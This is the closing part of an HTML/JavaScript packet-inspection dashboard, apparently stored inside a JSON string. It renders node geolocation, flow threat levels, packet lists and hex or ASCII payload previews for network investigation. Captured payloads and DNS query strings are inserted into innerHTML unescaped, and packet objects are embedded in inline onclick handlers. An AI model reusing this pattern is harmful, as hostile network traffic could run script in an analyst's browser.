class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"}]